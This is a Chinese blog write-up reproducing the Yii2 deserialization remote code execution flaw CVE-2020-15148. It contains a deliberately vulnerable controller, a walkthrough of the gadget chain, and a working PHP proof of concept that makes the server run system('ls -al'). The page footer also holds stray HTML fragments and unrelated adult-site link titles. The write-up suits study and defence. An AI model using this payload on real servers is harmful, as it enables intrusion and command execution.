<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          CVE-2020-15148 Yii2框架反序列化漏洞

          共 12630字,需瀏覽 26分鐘

           ·

          2021-06-01 14:01

          文章源自【字節(jié)脈搏社區(qū)】-字節(jié)脈搏實(shí)驗(yàn)室

          作者-purplet

          掃描下方二維碼進(jìn)入社區(qū)

          一、漏洞簡(jiǎn)介

          如果在使用yii框架,并且在用戶可以控制的輸入處調(diào)用了unserialize()并允許特殊字符的情況下,會(huì)受到反序列化遠(yuǎn)程命令命令執(zhí)行漏洞攻擊。

          該漏洞只是php 反序列化的執(zhí)行鏈,必須要配合unserialize函數(shù)才可以達(dá)到任意代碼執(zhí)行的危害。

          二、漏洞影響

          Yii2 <2.0.38

          三、復(fù)現(xiàn)過(guò)程

          目前該框架版本已經(jīng)到2.0.42了,而復(fù)現(xiàn)該漏洞是因?yàn)樽罱腃TF比賽中已經(jīng)出現(xiàn)了好幾次該框架漏洞的改造題目了,所以我覺(jué)得有必要好好對(duì)該漏洞進(jìn)行一個(gè)認(rèn)真的審計(jì)復(fù)現(xiàn)。

          首先從github上下載漏洞源碼:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

          解壓到Web目錄,然后修改一下配置文件。

          /config/web.php:

          給cookieValidationKey字段設(shè)置一個(gè)值”test”
          接著添加一個(gè)存在漏洞的Action
          /controllers/TestController.php:

          <?php 
          namespace app\controllers;
          use Yii;
          use yii\web\Controleer;

          class TestController extends Controller
          {
              public function actionTest(){
                  $name = Yii:$app->request->get('unserialize');
                  return unserialize(base64_decode($name));
              }
          }
          ?>

          之前2021年紅帽杯的這道題是直接在/controllers/SiteController.php里修改了actionAbout方法里修改為如下所示,其實(shí)本質(zhì)上與原漏洞是相同的

          public function actionAbout($message = 'Hello')
          {
              $data = base64_decode($message);
              unserialize($data);
          }

          反序列化起點(diǎn)

          /vendor/yiisoft/yii2/db/BatchQueryResult.php:

          <?php
          namespace yii\db;

          class BatchQueryResult{
              /** 
              ......
              */
              public function __destruct()
              {
                  $this->reset();
              }

              public function reset()
              {
                  if ($this->_dataReader !== null) {
                      $this->_dataReader->close();
                  }
                  $this->_dataReader = null;
                  $this->_batch = null;
                  $this->_value = null;
                  $this->_key = null;
              }
              /** 
              ......
              */
          }
          ?>

          可以看到__destruct()調(diào)用了reset()方法
          reset()方法中,$this->_dataReader是可控的,所以此處可以當(dāng)做跳板,去執(zhí)行其他類中的__call()方法。

          __call() //當(dāng)調(diào)用對(duì)象中不存在的方法時(shí)觸發(fā)

          然后找到一個(gè)Faker\Generator類

          /vendor/fzaninotto/faker/src/Faker/Generator.php:

          <?php
          namespace Faker;

          class Generator{
              /** 
              ......
              */
              public function format($formatter, $arguments = array())
              {
                  return call_user_func_array($this->getFormatter($formatter), $arguments);
              }

              public function getFormatter($formatter)
              {
                  if (isset($this->formatters[$formatter])) {
                      return $this->formatters[$formatter];
                  }
                  foreach ($this->providers as $provider) {
                      if (method_exists($provider, $formatter)) {
                          $this->formatters[$formatter] = array($provider, $formatter);

                          return $this->formatters[$formatter];
                      }
                  }
                  throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
              }

              public function __call($method, $attributes)
              {
                  return $this->format($method, $attributes);
              }
              /** 
              ......
              */
          }
          ?>

          可以看到,此處的__call()方法調(diào)用了format(),且format()從$this->getFormatter($formatter)里面取出對(duì)應(yīng)的值后,帶入了call_user_func_array()函數(shù)中。
          由于$this->formatter是我們可控的,所以我們這里可以調(diào)用任意類中的任意方法了。
          但是$arguments是從yii\db\BatchQueryResult::reset()里傳過(guò)來(lái)的,我們不可控,所以我們只能不帶參數(shù)地去調(diào)用別的類中的方法。

          到了這一步只需要找到一個(gè)執(zhí)行類即可。
          我們可以使用Seay源代碼審計(jì)的正則全局搜索call_user_func\(\$this->([a-zA-Z0-9]+),
          \$this->([a-zA-Z0-9]+),得到使用了call_user_func函數(shù),且參數(shù)為類中成員變量的所有方法。

          查看后發(fā)現(xiàn)yii\rest\CreateAction::run()和yii\rest\IndexAction::run()這兩個(gè)方法比較合適。
          這里拿yii\rest\CreateAction::run()舉例
          /vendor/yiisoft/yii2/rest/CreateAction.php:

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          <?php
          namespace yii\rest;
           
          class CreateAction{
              /** 
              ......
              */
              public function run()
              {
                  if ($this->checkAccess) {
                      call_user_func($this->checkAccess, $this->id);
                  }
           
                  /* @var $model \yii\db\ActiveRecord */
                  $model new $this->modelClass([
                      'scenario' => $this->scenario,
                  ]);
           
                  $model->load(Yii::$app->getRequest()->getBodyParams(), '');
                  if ($model->save()) {
                      $response = Yii::$app->getResponse();
                      $response->setStatusCode(201);
                      $id = implode(','array_values($model->getPrimaryKey(true)));
                      $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
                  elseif (!$model->hasErrors()) {
                      throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
                  }
           
                  return $model;
              }
              /** 
              ......
              */
          }
          ?>

          $this->checkAccess和$this->id都是我們可控的。所以整個(gè)利用鏈就出來(lái)了。

          yii\db\BatchQueryResult::__destruct()
          ->
          Faker\Generator::__call()
          ->
          yii\rest\CreateAction::run()


          構(gòu)造POC如下:

          <?php
          namespace yii\rest{
              class CreateAction{
                  public $checkAccess;
                  public $id;

                  public function __construct(){
                      $this->checkAccess = 'system';
                      $this->id = 'ls -al';
                  }
              }
          }

          namespace Faker{
              use yii\rest\CreateAction;

              class Generator{
                  protected $formatters;

                  public function __construct(){
                      $this->formatters['close'] = [new CreateAction, 'run'];
                  }
              }
          }

          namespace yii\db{
              use Faker\Generator;

              class BatchQueryResult{
                  private $_dataReader;

                  public function __construct(){
                      $this->_dataReader = new Generator;
                  }
              }
          }
          namespace{
              echo base64_encode(serialize(new yii\db\BatchQueryResult));
          }
          ?>

          參考連接

          https://xz.aliyun.com/t/8307

          通知!

          公眾號(hào)招募文章投稿小伙伴啦!只要你有技術(shù)有想法要分享給更多的朋友,就可以參與到我們的投稿計(jì)劃當(dāng)中哦~感興趣的朋友公眾號(hào)首頁(yè)菜單欄點(diǎn)擊【商務(wù)合作-我要投稿】即可。期待大家的參與~

          記得掃碼

          關(guān)注我們


          瀏覽 61
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  中文字幕第4页 | 可以免费看黄色的网站 | 娱乐网一区二区三区 | 亚洲色婷婷久久精品AV蜜桃 | 黄色免费在线观看视频 |